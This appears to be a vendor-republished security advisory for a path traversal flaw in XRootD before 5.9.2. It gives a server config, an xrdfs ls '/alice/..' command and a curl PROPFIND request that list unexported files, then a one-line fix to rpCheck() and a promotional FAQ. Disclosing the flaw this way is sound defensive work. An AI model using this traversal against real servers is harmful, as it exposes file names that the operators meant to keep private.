GHSA-VJ8V-P5VW-M6V5

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.

PoC

Configuration

• Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

• Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

• Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

GHSA-VJ8V-P5VW-M6V5 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.9.2); upgrading removes the vulnerable code path.

Kodem intelligence

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

1. What is GHSA-VJ8V-P5VW-M6V5? GHSA-VJ8V-P5VW-M6V5 is a medium-severity improper input validation vulnerability in xrootd (pip), affecting versions < 5.9.2. It is fixed in 5.9.2. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is GHSA-VJ8V-P5VW-M6V5? GHSA-VJ8V-P5VW-M6V5 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of xrootd are affected by GHSA-VJ8V-P5VW-M6V5? xrootd (pip) versions < 5.9.2 is affected.
4. Is there a fix for GHSA-VJ8V-P5VW-M6V5? Yes. GHSA-VJ8V-P5VW-M6V5 is fixed in 5.9.2. Upgrade to this version or later.
5. Is GHSA-VJ8V-P5VW-M6V5 exploitable, and should I be worried? Whether GHSA-VJ8V-P5VW-M6V5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-VJ8V-P5VW-M6V5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-VJ8V-P5VW-M6V5? Upgrade xrootd to 5.9.2 or later.